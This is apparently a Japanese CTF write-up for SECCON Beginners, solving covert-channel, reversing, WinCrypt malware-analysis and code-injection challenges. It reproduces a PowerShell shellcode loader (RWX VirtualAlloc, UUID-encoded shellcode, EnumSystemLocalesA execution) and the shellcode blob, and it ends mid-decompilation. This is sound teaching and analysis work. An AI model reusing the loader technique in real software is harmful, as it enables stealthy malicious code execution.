#!/usr/bin/env python3.12 import random from math import ceil from os import getenv from Crypto.Cipher import AES from Crypto.Util.Padding import pad from scapy.all import * type PlainChunk = bytes type EncryptedChunk = bytes type FlagText = str ################################################################################ FLAG: FlagText = getenv("FLAG") KEY: bytes = b"546869734973415365637265744b6579" # 16進数のキー BLOCK_SIZE: int = 16 # AES-128-ECB のブロックサイズは 16bytes ################################################################################ # インデックスとともに `%1d|<FLAG の分割されたもの>` の形式の 4byte ずつ分割 prefix: str = "{:1d}|" max_len: int = BLOCK_SIZE - len(prefix.format(0)) # AES ブロックに収まるように調整 parts: list[PlainChunk] = [ f"{prefix.format(i)}{FLAG[i * max_len : (i + 1) * max_len]}".encode() for i in range(ceil(len(FLAG) / max_len)) ] # AES-ECB + PKCS#7 パディング cipher = AES.new(bytes.fromhex(KEY.decode("utf-8")), AES.MODE_ECB) encrypted_blocks: list[EncryptedChunk] = [ cipher.encrypt(pad(part, BLOCK_SIZE)) for part in parts ] def handle(pkt: Packet) -> None: if (ICMP in pkt) and (pkt[ICMP].type == 8): # ICMP Echo Request print(f"[+] Received ping from {pkt[IP].src}", flush=True) payload: EncryptedChunk = random.choice(encrypted_blocks) reply = ( IP(dst=pkt[IP].src, src=pkt[IP].dst) / ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq) / Raw(load=payload) ) send(reply, verbose=False) print( f"[+] Sent encrypted chunk {len(payload)} bytes back to {pkt[IP].src}", flush=True, ) if __name__ == "__main__": from sys import argv iface = ( argv[1] if (1 < len(argv)) else "lo" ) # デフォルトはループバックインターフェース print(f"[*] ICMP Echo Response Server starting on {iface} ...", flush=True) sniff(iface=iface, filter="icmp", prn=handle)
どうやら、コマンドライン引数で指定されたネットワークインターフェースの通信内容を確認し、ICMP Echo Requestつまりping通信があれば暗号化フラグをEcho Replyする内容のようです。
また、compose.ymlにはネットワークインターフェイスの都合で、 Linux ホストの Docker 環境にのみ対応していますやNOTE: TCP/UDP は使用しないので、 ports は定義していません等のコメントも含まれていました。
仮想マシンでLinux環境を起動してdocker compose upした状態で、Wiresharkでパケットキャプチャしつつ、ping通信を試しました。そうすると通常の「Echo RequestのペイロードそのままがEcho Reply」されるのではなく、別のペイロードが応答される状況を確認しました。その内容を問題文記載の方法で復号すると0|ctf4b{this_is_や1|dummy_flag}を得られました。
あとは問題文記載の本番マシンから暗号化フラグを受信するだけ、という状況です。ただ、WindowsホストからもLinux環境からもping chamber-of-echos.challenges.beginners.seccon.jpをしても、いくつかオプションをいじったりしても、通常の「Echo RequestのペイロードそのままがEcho Reply」という状況が続いていました。
コンテスト終了直前にふと思い立ってWindows環境でtracert chamber-of-echos.challenges.beginners.seccon.jpを試すと、通常とは異なるEcho Replyが得られました!当時のキャプチャ内容です:
$ tshark -r ping_-t_chamber-of-echos.challenges.beginners.seccon.jp.pcapng -Y 'icmp.type==0' -T fields -e data 6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869 f79daab713d45968e2e3c9199a4a39b6f4516068e453bedbffbb73dedc05c517 6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869 eef17ac679a7d685294701121c88aa03 6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869 f20a9e1897460be81dec5ca924faa6f5f4516068e453bedbffbb73dedc05c517
ここで6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869側は通常のEcho Replyです。残りの3パケットを使って復号しました:
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad KEY = bytes.fromhex("546869734973415365637265744b6579") # # docker compose upして確認したダミーフラグ内容 # captured_echo_reply_packets = [ # bytes.fromhex("8b2b586f197454806581d07a89c23b19"), # bytes.fromhex("271911bef52dc544281d32995431f590f4516068e453bedbffbb73dedc05c517"), # ] # windows環境で「tracert chamber-of-echos.challenges.beginners.seccon.jp」すると、tracert本来の「\x00 * 64」データとは別にEcho replyがありました! captured_echo_reply_packets = [ bytes.fromhex("eef17ac679a7d685294701121c88aa03"), bytes.fromhex("f20a9e1897460be81dec5ca924faa6f5f4516068e453bedbffbb73dedc05c517"), bytes.fromhex("f79daab713d45968e2e3c9199a4a39b6f4516068e453bedbffbb73dedc05c517"), ] cipher = AES.new(KEY, AES.MODE_ECB) for p in captured_echo_reply_packets: print(unpad(cipher.decrypt(p), AES.block_size))
実行しました:
$ ./solve.py
b'2|_4tt4ck}'
b'1|c0v3rt_ch4nn3l'
b'0|ctf4b{th1s_1s_'
$
フラグを入手できました: ctf4b{th1s_1s_c0v3rt_ch4nn3l_4tt4ck}
配布ファイルapp.pyのどこの処理が原因で、pingコマンドによるEcho Request送信では通常のEcho Reply応答だけ返り、tracertコマンドによるEcho Request送信では本問題固有のEcho Replyも返ったのかが気になります!
[reversing, beginner] CrazyLazyProgram1 (654 teams solves, 100 points)
改行が面倒だったのでワンライナーにしてみました。
配布ファイルとして、CLP1.csがありました:
using System;class Program {static void Main() {int len=0x23;Console.Write("INPUT > ");string flag=Console.ReadLine();if((flag.Length)!=len){Console.WriteLine("WRONG!");}else{if(flag[0]==0x63&&flag[1]==0x74&&flag[2]==0x66&&flag[3]==0x34&&flag[4]==0x62&&flag[5]==0x7b&&flag[6]==0x31&&flag[7]==0x5f&&flag[8]==0x31&&flag[9]==0x69&&flag[10]==0x6e&&flag[11]==0x33&&flag[12]==0x72&&flag[13]==0x35&&flag[14]==0x5f&&flag[15]==0x6d&&flag[16]==0x61&&flag[17]==0x6b&&flag[18]==0x33&&flag[19]==0x5f&&flag[20]==0x50&&flag[21]==0x47&&flag[22]==0x5f&&flag[23]==0x68&&flag[24]==0x61&&flag[25]==0x72&&flag[26]==0x64&&flag[27]==0x5f&&flag[28]==0x32&&flag[29]==0x5f&&flag[30]==0x72&&flag[31]==0x33&&flag[32]==0x61&&flag[33]==0x64&&flag[34]==0x7d){Console.WriteLine("YES!!!\nThis is Flag :)");}else{Console.WriteLine("WRONG!");}}}}
フラグを先頭から1文字ずつ一致判定する内容のようです。テキストエディターの文字列置換やキーボードマクロ、矩形編集を使って、比較対象の数値を集めました:
#!/usr/bin/env python3 d = [ 0x63, 0x74, 0x66, 0x34, 0x62, 0x7B, 0x31, 0x5F, 0x31, 0x69, 0x6E, 0x33, 0x72, 0x35, 0x5F, 0x6D, 0x61, 0x6B, 0x33, 0x5F, 0x50, 0x47, 0x5F, 0x68, 0x61, 0x72, 0x64, 0x5F, 0x32, 0x5F, 0x72, 0x33, 0x61, 0x64, 0x7D, ] print("".join(map(chr, d)))
実行しました:
$ ./solve.py
ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}
$
フラグを入手できました: ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}
[reversing, easy] CrazyLazyProgram2 (468 teams solves, 100 points)
コーディングが面倒だったので機械語で作ってみました
配布ファイルとして、CLP2.oがありました:
$ file * CLP2.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped $
コンテスト中では「gcc CLP2.oでリンクしてELF生成→IDAで解析」をしていましたが、本記事執筆中に試すとCLP2.oのままでもIDAで読み込めて逆コンパイルできました。ともかく逆コンパイル結果のmain関数内容は次のものでした:
int __fastcall main(int argc, const char **argv, const char **envp)
{
int result; // eax
_BYTE v4[44]; // [rsp+0h] [rbp-30h] BYREF
int v5; // [rsp+2Ch] [rbp-4h]
printf("Enter the flag: ");
_isoc99_scanf("%33c", v4);
v5 = 0;
result = v4[0];
if ( v4[0] == 99 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 116 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 102 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 52 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 98 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 123 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 71 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 79 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 84 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 79 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 95 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 71 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 48 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 84 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 48 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 95 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 57 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 48 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 116 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 48 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 95 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 78 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 48 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 109 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 48 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 114 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 51 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 95 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 57 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 48 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 116 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 48 )
{
result = (unsigned __int8)v4[++v5];
if ( (_BYTE)result == 125 )
return puts("Flag is correct!");
// 閉じ括弧だらけです。行数がかさむので編集して1行にします
}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
return result;
}
CrazyLazyProgram1問題同様に、フラグを先頭から1文字ずつ一致判定する内容のようです。同じくテキストエディターの文字列置換やキーボードマクロ、矩形編集を使って、比較対象の数値を集めました:
#!/usr/bin/env python3 d = [ 99, 116, 102, 52, 98, 123, 71, 79, 84, 79, 95, 71, 48, 84, 48, 95, 57, 48, 116, 48, 95, 78, 48, 109, 48, 114, 51, 95, 57, 48, 116, 48, 125, ] print("".join(map(chr, d)))
実行しました:
$ ./solve.py
ctf4b{GOTO_G0T0_90t0_N0m0r3_90t0}
$
フラグを入手できました: ctf4b{GOTO_G0T0_90t0_N0m0r3_90t0}
[reversing, easy] D-compile (335 teams solves, 100 points)
C言語の次はこれ! This is the next trending programming language! ※一部環境ではlibgphobos5が必要となります。 また必要に応じてecho -nをご利用ください。 Note:In some environments, libgphobos5 is required. Also, use the echo -n command as necessary.
配布ファイルとして、d-compileがありました:
$ file * d-compile: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=73b95b2e5aea9420c85741c0582cb0945a3a3c69, for GNU/Linux 3.2.0, not stripped $
IDAで開いて解析すると、Dmain関数の逆コンパイル結果が次の内容でした:
__int64 Dmain() { _QWORD *v0; // rax __int64 v1; // rax __int64 v2; // rdx _QWORD *v4; // [rsp+18h] [rbp-68h] _QWORD v5[4]; // [rsp+30h] [rbp-50h] BYREF v0 = (_QWORD *)_d_arrayliteralTX(&TypeInfo_Aa.__init, 32); qmemcpy(v5, "ctf4b{N3xt_Tr3nd_D_1an9uag3_101}", sizeof(v5)); *v0 = v5[0]; v0[1] = v5[1]; v0[2] = v5[2]; v0[3] = v5[3]; v4 = v0; std.stdio.writeln!().writeln(11, "input flag>"); v1 = std.stdio.readln!().readln(10); if ( (unsigned __int8)core.internal.array.equality.__equals!(,).__equals(v1, v2, 32, v4) ) std.stdio.writeln!().writeln(30, "way to go! this is the flag :)"); else std.stdio.writeln!().writeln(13, "this is wrong"); return 0; }
IDAの逆コンパイラが最適化した結果であるqmemcpy関数表示にフラグ文字列が現れています。試しに提出すると正解でした: ctf4b{N3xt_Tr3nd_D_1an9uag3_101}
[reversing, medium] wasm_S_exp (330 teams solves, 100 points)
フラグをチェックしてくれるプログラム
配布ファイルとして、check_flag.watがありました:
(module (memory (export "memory") 1 ) (func (export "check_flag") (result i32) i32.const 0x7b i32.const 38 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x67 i32.const 20 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x5f i32.const 46 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x21 i32.const 3 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x63 i32.const 18 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x6e i32.const 119 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x5f i32.const 51 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x79 i32.const 59 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x34 i32.const 9 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x57 i32.const 4 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x35 i32.const 37 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x33 i32.const 12 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x62 i32.const 111 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x63 i32.const 45 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x7d i32.const 97 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x30 i32.const 54 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x74 i32.const 112 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x31 i32.const 106 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x66 i32.const 43 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x34 i32.const 17 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x34 i32.const 98 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x54 i32.const 120 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x5f i32.const 25 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x6c i32.const 127 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 0x41 i32.const 26 call $stir i32.load8_u i32.ne if i32.const 0 return end i32.const 1 return ) (func $stir (param $x i32) (result i32) i32.const 1024 i32.const 23 i32.const 37 local.get $x i32.const 0x5a5a i32.xor i32.mul i32.add i32.const 101 i32.rem_u i32.add return ) )
check_flag関数はstir(定数1) == 定数2であることをひたすら検証する内容のようです。stir関数は((((引数 ^ 0x5a5a) * 37) + 23) % 101) + 1024を返すようです。おそらくWAT実行環境でのアドレス1024以降に入力文字列が入るものと考えました。
なお私はwat構文を見慣れていないので、WebAssembly/wabt: The WebAssembly Binary Toolkitのwat2wasm→wasm2cでC言語ソースコードに変換し、Cソースコードでも検証したりしました。
上のreversing問題同様に、テキストエディターの文字列置換やキーボードマクロ、矩形編集を使って、stir関数引数や比較対象の数値を集めました:
#!/usr/bin/env python3 def stir(value: int) -> int: value ^= 0x5A5A value *= 37 value += 23 value %= 101 value += 1024 return value data = [ (0x7B, 38), (0x67, 20), (0x5F, 46), (0x21, 3), (0x63, 18), (0x6E, 119), (0x5F, 51), (0x79, 59), (0x34, 9), (0x57, 4), (0x35, 37), (0x33, 12), (0x62, 111), (0x63, 45), (0x7D, 97), (0x30, 54), (0x74, 112), (0x31, 106), (0x66, 43), (0x34, 17), (0x34, 98), (0x54, 120), (0x5F, 25), (0x6C, 127), (0x41, 26), ] flag = [None] * len(data) for o, d in data: flag[stir(d) - 1024] = chr(o) # type:ignore print("".join(flag))
実行しました:
$ ./solve.py
ctf4b{WAT_4n_345y_l0g1c!}
$
フラグを入手できました: ctf4b{WAT_4n_345y_l0g1c!}
[reversing, hard] MAFC (144 teams solves, 339 points)
flagが欲しいかい?ならこのマルウェアを解析してみな。 Wanna get flag? if so, Reversing this Malware if you can
配布ファイルとして、問題本体のMalwareAnalysis-FirstChallenge.exeと、その出力のflag.encryptedがありました:
$ file * MalwareAnalysis-FirstChallenge.exe: PE32+ executable (console) x86-64, for MS Windows, 6 sections flag.encrypted: data $
IDAで開いて解析すると、WinCryptを使ってflag.txtを暗号化する内容でした。Win32APIや定数を多用するプログラムをIDAで解析する場合は、各種APIのドキュメントを読みながら、IDAでの数値リテラル表示箇所を右クリックしてEnum (M)メニューから定数名を選ぶと分かりやすくなります。色々設定した結果です:
int main() { char *pSomething; // r14 HANDLE hFileSrc; // r12 HANDLE hFileDst; // r13 int dwExitCode; // edi __int64 dwStrKeySize; // r8 DWORD qwFileSize; // r15d char *pStrFlag; // rbx __int64 qwFileSize_plus_16; // rcx size_t dwMemsetSize; // rsi size_t v10; // rcx void *v11; // rax __int64 dwStrFlagLen; // rax HCRYPTKEY hKey; // [rsp+40h] [rbp-19h] BYREF HCRYPTPROV hProv; // [rsp+48h] [rbp-11h] BYREF DWORD dwPadding; // [rsp+50h] [rbp-9h] BYREF DWORD dwMode; // [rsp+54h] [rbp-5h] BYREF DWORD qwNmberOfBytesRead; // [rsp+58h] [rbp-1h] BYREF DWORD dwDataLen; // [rsp+5Ch] [rbp+3h] BYREF HCRYPTHASH hHash; // [rsp+60h] [rbp+7h] BYREF BYTE strArrayKey[24]; // [rsp+68h] [rbp+Fh] BYREF pSomething = 0; hFileSrc = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if ( hFileSrc == (HANDLE)-1LL ) { puts("Failed to handle flag.txt\n"); return -1; } hFileDst = CreateFileA("flag.encrypted", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_READ_ATTRIBUTES, 0); if ( hFileDst == (HANDLE)-1LL ) { puts("Failed to handle flag.encrypted\n"); return -1; } if ( !CryptAcquireContextW(&hProv, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, 0) && !CryptAcquireContextW( &hProv, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_NEWKEYSET) ) { puts("CryptAcquireContext() Error\n"); return -1; } if ( !CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash) ) { puts("CryptCreateHash() Error\n"); return -1; } dwExitCode = -1; dwStrKeySize = -1; strcpy((char *)strArrayKey, "ThisIsTheEncryptKey"); do ++dwStrKeySize; while ( strArrayKey[dwStrKeySize] ); if ( CryptHashData(hHash, strArrayKey, dwStrKeySize, 0) ) { if ( !CryptDeriveKey(hProv, CALG_AES_256, hHash, 0x1000000u, &hKey) )// The key size, representing the length of the key modulus in bits, is set with the upper 16 bits of this parameter // →256ビット。AES256なのでそれはそう。 { puts("CryptDeriveKey() Error\n"); return dwExitCode; } dwPadding = PKCS5_PADDING; if ( !CryptSetKeyParam(hKey, KP_PADDING, (const BYTE *)&dwPadding, 0) ) { puts("CryptSeKeyParam() Error\n"); return dwExitCode; } if ( !CryptSetKeyParam(hKey, KP_IV, L"IVCanObfuscation", 0) ) { puts("CryptSeKeyParam() with IV Error\n"); return dwExitCode; } dwMode = CRYPT_MODE_CBC; if ( !CryptSetKeyParam(hKey, KP_MODE, (const BYTE *)&dwMode, 0) ) { puts("CryptSetKeyParam() with set MODE Error\n"); return dwExitCode; } qwFileSize = GetFileSize(hFileSrc, 0); pStrFlag = 0; qwFileSize_plus_16 = qwFileSize + 16; dwMemsetSize = (unsigned int)qwFileSize_plus_16; if ( qwFileSize != -16 ) { if ( (unsigned int)qwFileSize_plus_16 < 0x1000uLL ) { pStrFlag = (char *)operator new((unsigned int)qwFileSize_plus_16); } else { v10 = qwFileSize_plus_16 + 39; if ( v10 <= dwMemsetSize ) SomeRaiseFunction(); v11 = operator new(v10); if ( !v11 ) goto labelInvokeWatson; pStrFlag = (char *)(((unsigned __int64)v11 + 39) & 0xFFFFFFFFFFFFFFE0uLL); *((_QWORD *)pStrFlag - 1) = v11; } pSomething = &pStrFlag[dwMemsetSize]; memset(pStrFlag, 0, dwMemsetSize); } qwNmberOfBytesRead = 0; if ( ReadFile(hFileSrc, pStrFlag, qwFileSize, &qwNmberOfBytesRead, 0) ) { dwStrFlagLen = -1; do ++dwStrFlagLen; while ( pStrFlag[dwStrFlagLen] ); dwDataLen = dwStrFlagLen + 1; // 末尾のNUL文字も含める if ( CryptEncrypt(hKey, 0, 1, 0, (BYTE *)pStrFlag, &dwDataLen, 0x40u) ) { if ( WriteFile(hFileDst, pStrFlag, 0x40u, 0, 0) ) { CloseHandle(hFileSrc); CloseHandle(hFileDst); if ( DeleteFileA("flag.txt") ) { if ( CryptDestroyKey(hKey) ) { if ( CryptDestroyHash(hHash) ) { if ( CryptReleaseContext(hProv, 0) ) dwExitCode = 0; else puts("CryptReleaseContext() error\n"); } else { puts("CryptDestroyHash() error\n"); } } else { puts("CryptDestroyKey() error\n"); } } else { puts("DeleteFileA() error\n"); } } else { puts("WriteFile() error\n"); } } else { puts("CryptEncrypt() Error\n"); } } else { puts("ReadFile() Error\n"); } if ( !pStrFlag ) return dwExitCode; if ( (unsigned __int64)(pSomething - pStrFlag) < 0x1000 ) goto labelFreeAndReturn; if ( (unsigned __int64)&pStrFlag[-*((_QWORD *)pStrFlag - 1) - 8] <= 0x1F ) { pStrFlag = (char *)*((_QWORD *)pStrFlag - 1); labelFreeAndReturn: j_j_free(pStrFlag); return dwExitCode; } labelInvokeWatson: invoke_watson(0, 0, 0, 0, 0); } puts("CryptHashData() Error\n"); return dwExitCode; }
次の処理を行います。
CreateFileA関数を使って、flag.txtファイルを読み込み用に、flag.encryptedファイルを書き込み用に開きます。CryptAcquireContextW関数を使ってHCRYPTPROV型ハンドルを取得します。WinCryptの起点となる関数です。CryptCreateHash関数を使って、HCRYPTHASH型ハンドルを取得します。ハッシュ計算用のハンドルです。今回はAlgidにCALG_SHA_256を与えているため、SHA-256のハッシュ値を計算します。CryptHashData関数を使って、ハッシュを計算したいデータを与えます。今回はThisIsTheEncryptKeyのASCII文字列を、末尾のNUL文字は含めずに与えています。CryptDeriveKey関数を使って、SHA256計算結果のハッシュ値を鍵として使用するように、HCRYPTKEY型ハンドルを取得します。今回はAlgidにCALG_AES_256を与えているため、暗号化にはAES-256を使用します。CryptSetKeyParam関数を複数回使って、暗号化用の各種設定を行っています:- パディング方式として
PKCS5_PADDINGを、実質的にPKCS#7パディングを指定します。 - IVとして
L"IVCanObfuscation"を指定します。 - 暗号利用モードとしてCBCモードを指定します。
- パディング方式として
GetFileSize関数やReadFile関数を使って、開いているflag.txtファイル内容を読み込みます。CryptEncrypt関数を使って、読み込んだflag.txt内容を暗号化します。WriteFile関数を使って、暗号化結果を開いているflag.encryptedファイルへ書き込みます。- 色々後始末をしたり、
flag.txtファイルを削除したりします。
処理内容が分かればflag.encryptedファイル内容を復号できそうです。ただコンテストの取り組み当初では、復号結果がc"sUO4t\x07b,\x1e>/Y(1y0u_suc3553d_2_ana1yz3_Ma1war3!!!}とフラグ先頭のほうが変になりました。先頭ブロックのみ復号結果が壊れている場合、CBCモードではIVが間違っています。WindowsSandbox環境でデバッガー実行して確認すると、IVCanObfuscation文字列はASCII文字列ではなく、Windowsでいうwchar_t*型、一般的に言うとUTF-16LE文字列と分かりました:

今回はAES-256を使用するため、ブロックサイズは16バイトです。そのためIVとしても指定アドレスから16バイト分のみが使用されます(CryptSetKeyParams関数にはIVサイズを与えられません)。というわけで、正しいIVも分かりました。
最終的なソルバーです:
#!/usr/bin/env python3 import hashlib from Crypto.Cipher import AES from Crypto.Util.Padding import unpad key = hashlib.sha256(b"ThisIsTheEncryptKey").digest() iv = "IVCanObfuscation".encode("utf-16le")[:16] cipher = AES.new(key, AES.MODE_CBC, iv) with open("flag.encrypted", "rb") as f: data = f.read() print(unpad(cipher.decrypt(data), AES.block_size).decode().rstrip("\x00"))
実行しました:
$ ./solve.py
ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}
$
フラグを入手できました: ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}
[reversing, hard] code_injection (88 teams solves, 441 points)
ある条件のときにフラグが表示されるみたい。
配布ファイルとして、2つのファイルがありました:
$ file * ps_z.ps1: ASCII text sh.txt: ASCII text, with CRLF line terminators $
配布ファイル確認
sh.txt側は、GUIDが並べられている内容でした:
56525153-4157-4150-5155-4889e54883e4 ec8348f0-6530-8b48-0425-60000000488b 8b482040-80b0-0000-0083-3e000f84a701 3e810000-0043-0054-7526-817e04460034 811d7500-087e-0042-3d00-7514837e0c31 8b480e75-481e-e3c1-0848-895c2420eb06 02c68348-c3eb-4865-8b04-256000000048 4818408b-408b-4820-8b00-488b7850488b 20b9481f-2000-2000-0020-004809cb48c1 334808e3-245c-4820-8b00-488b78504803 20b9481f-2000-2000-0020-004809cb4889 4820245c-588b-8b20-433c-4801d88bb888 48000000-df01-778b-2048-01de48ba0540 7d454e56-2a08-8948-5424-104831c98b14 da01488e-3a81-6547-7453-7514817a0474 75614864-810b-087a-6e64-6c657502eb05 ebc1ff48-8bd9-2477-4801-de668b0c4e8b 01481c77-8bde-8e04-4801-d848ba5b403a 13404150-4852-5489-2418-b9f5ffffffff c08949d0-ba48-5908-0314-1059096b4889 778b2414-4820-de01-4831-c98b148e4801 573a81da-6972-7574-1481-7a0465436f6e 7a810b75-7308-6c6f-6575-02eb0548ffc1 778bd9eb-4824-de01-668b-0c4e48ba1f72 13044e56-681c-8948-5424-088b771c4801 8e048bde-0148-48d8-83ec-30488d542430 48c93148-f983-7404-124c-8b4c24504c33 894cca0c-ca0c-ff48-c1eb-e84c89c149c7 000020c0-4d00-c931-48c7-442420000000 48d0ff00-c483-eb30-0048-31c04889ec5d 58415941-5e5f-595a-5bc3-000000000000
ps_z.ps1は次の内容でした:
add-type ' using System; using System.Runtime.InteropServices; [StructLayout( LayoutKind.Sequential )] public static class Kernel32{ [DllImport( "kernel32.dll" )] public static extern IntPtr VirtualAlloc( IntPtr address, int size, int AllocType, int protect ); [DllImport( "kernel32.dll" )] public static extern bool EnumSystemLocalesA( IntPtr buf, uint flags ); } public static class Rpcrt4{ [DllImport( "rpcrt4.dll" )] public static extern void UuidFromStringA( string uuid, IntPtr buf ); }'; $workdir = ( Get-Location ).Path; [System.IO.Directory]::SetCurrentDirectory( $workdir ); $lines = [System.IO.File]::ReadAllLines( ".\sh.txt" ); $buf = [Kernel32]::VirtualAlloc( [IntPtr]::Zero, $lines.Length * 16, 0x1000, 0x40 ); $proc = $buf; foreach( $line in $lines ){ $tmp = [Rpcrt4]::UuidFromStringA( $line, $buf ); $buf = [IntPtr]( $buf.ToInt64() + 16 ) } $tmp = [Kernel32]::EnumSystemLocalesA( $proc, 0 );
次の処理を行います:
- Win32APIをP/Invokeするための型定義を追加します。
- VirtualAllocを使って、メモリ保護属性が
0x40すなわちPAGE_EXECUTE_READWRITEな読み書き実行可能なメモリを確保します。 sh.txt内容を読み込み、UuidFromStringA関数でGUID文字列表現をRawな16バイト表現に変換しつつ、メモリへ書き込みます。- 書き込んだ内容、すなわちシェルコードを実行します。今回は
EnumSystemLocalesA関数というコールバック関数アドレスを引数に取るWin32 APIを経由して、シェルコードを実行しています。
書き込まれるシェルコードを抽出
お次は、書き込まれるシェルコード内容を解析したいです。そのために今回は、Windows Sandbox環境で「シェルコード書き込み完了、これから実行するところ」まで実際に動作させて、実行内容をメモリダンプすることにしました:
- PowerShellを起動します。
sh.txtを配置してから、ps_z.ps1内容のうちシェルコード書き込み完了までをコピーペーストして貼り付けて実行します。- PowerShellで
$proc.ToString("X")を実行し、シェルコードが書き込まれた先頭アドレスを取得します。 - x64dbgを実行し、PowerShellプロセスへアタッチします。
- x64dbgの
Memory Mapタブからシェルコードが書き込まれたアドレスを探し、右クリックメニューのDump Memory to Fileでシェルコードを保存します。

シェルコードのEXE化
続いてシェルコードを、解析しやすくするためにEXE形式へ変換します。今回はPowerShellプロセスに注入されるものであり、一般的なPowerShellプロセスは64-bitプロセスのはずです。そのためシェルコードも64-bitコードのはずです。
repnz/shellcode2exe: Batch script to compile a binary shellcode blob into an exe fileを使って shcode2exe -a 64 injected.binを実行し、64-bit EXEへ変換しました。
シェルコードのEXE変換結果を解析
変換したEXEをIDAで読み込んで逆コンパイルしました。本記事執筆中に全力で型付けした結果です:
__int64 _rt_psrelocs_end() { wchar_t *pwStr; // rsi LDR_DATA_TABLE_ENTRY *__shifted(LDR_DATA_TABLE_ENTRY,0x10) pLdrDataTableEntry_MayBeKernelBaseDll; // rax __int64 qwValueToXor1; // rbx LDR_DATA_TABLE_ENTRY *__shifted(LDR_DATA_TABLE_ENTRY,0x10) pLdrDataTableEntry_MayBeKernel32Dll; // rax IMAGE_DOS_HEADER *pImageDosHeader; // rbx IMAGE_EXPORT_DIRECTORY *pImageExportDirectory; // rdi char *qwRvaAddressOfNames; // rsi __int64 i; // rcx _DWORD *pStrFuncName1; // rdx HANDLE hStdOut; // r8 __int64 j; // rcx _DWORD *pStrFuncName2; // rdx BOOL (*fpWriteConsole)(HANDLE, const void *, DWORD, LPDWORD, LPVOID); // rax __int64 k; // rcx unsigned __int8 byteEncryptedMessageSize32[32]; // [rsp+10h] [rbp-30h] BYREF __int64 qwValueToXor2; // [rsp+30h] [rbp-10h] for ( pwStr = (wchar_t *)NtCurrentPeb()->ProcessParameters->Environment; *(_DWORD *)pwStr; ++pwStr ) { if ( *(_DWORD *)pwStr == 'T\0C' // L"CTF4B=1" && *((_DWORD *)pwStr + 1) == '4\0F' && 